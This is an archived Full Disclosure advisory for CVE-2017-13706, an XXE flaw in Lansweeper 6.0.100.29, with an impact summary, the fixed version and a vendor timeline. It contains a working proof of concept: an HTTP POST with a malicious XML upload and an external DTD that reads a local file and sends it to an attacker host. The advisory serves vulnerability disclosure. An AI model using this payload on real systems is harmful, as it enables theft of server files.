full-disclosure - [FD] CVE-2017-13706, Lansweeper 6.0.100.29 XXE Vulnerability

Open Source and information security mailing list archives

Message-Id: <9613CF71-49E6-4369-B92A-A7D82C986361@barkin.info>
Date: Fri, 6 Oct 2017 21:00:05 +0300
From: Barkın Kılıç <barkin@...kin.info>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2017-13706, Lansweeper 6.0.100.29 XXE Vulnerability

=============================================
- Release date: October 06th, 2017
- Discovered by: Barkın Kılıç, Mehmet Dursun İnce

- Severity: High
=============================================

I. VULNERABILITY
-------------------------

Lansweeper XXE vulnerability.

II. INTRODUCTION
-------------------------

Lansweeper an Asset Management and Network Inventory Tool  (v6.0.100.29 and
probably all previous versions) is affected by a XXE vulnerability.

III. DESCRIPTION
-------------------------

1) XML eXternel Entity Injection

An XML External Entity attack is a type of attack against an
application that parses XML input. This attack occurs when XML input
containing a reference to an external entity is processed by a weakly
configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery,
port scanning from the perspective of the machine where the parser is
located, and other system impacts. Reference:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

· URL: hostname/deployment/DeploymentActions.aspx?action=importPackage
· Method: POST

POC (proof of concept)

The vulnerability can be trigged via a POST request as shown in the
following PoC's.

POST /deployment/DeploymentActions.aspx?action=importPackage HTTP/1.1
Host: 192.168.179.134:81
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.179.134:81/deployment/
Cookie: ASP.NET_SessionId=i05i2enzicanyusmf5inmawr; UserSettings=language=1; custauth=username=admin&userdomain=admin
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------141141110614240761271519111282
Content-Length: 390

-----------------------------141141110614240761271519111282
Content-Disposition: form-data; name="XML"; filename="test.xml"
Content-Type: text/xml

ï»¿<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://192.168.179.128:81/test.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

-----------------------------141141110614240761271519111282

As an attacker a web server should be prepared and should be serving a file containing:

cat test.dtd 
<!ENTITY % data SYSTEM "file:///C:\Program Files (x86)\Lansweeper\test.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ‘http://192.168.179.128/?%data;'>">

IV. BUSINESS IMPACT
-------------------------

An attacker could reach and disclose confidential data, cause denial of service, server side request forgery.

V. SYSTEMS AFFECTED
-------------------------

Version 6.0.100.29 is vulnerable (probably all previous versions)

VI. SOLUTION
-------------------------

Upgrade to version 6.0.100.67 or later.

VII. REFERENCES
-------------------------

lansweeper website:

https://www.lansweeper.com/
https://www.lansweeper.com/changelog.aspx   BUG: #572705

VIII. CREDITS
-------------------------

The vulnerability has been discovered by:

Barkın Kılıç barkin(at)barkin(dot)info
Mehmet Dursun İnce mehmet(at)mehmetince(dot)net

IX. ADVISORY TIMELINE
-------------------------

August 26th, 2017: Vulnerability identification
August 26th, 2017: CVE Requested
August 27th, 2017: CVE received - "CVE-2017-13706"
August 29th, 2017: First contact with vendor
August 29th, 2017: Vendor response; investigating
Sept 11th, 2017: Vendor says that the vulnerability will be fixed in the new
version
Oct 4th, 2017: Vulnerabilty fixed (Bug 572705). Reference:
https://www.lansweeper.com/changelog.aspx

X. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives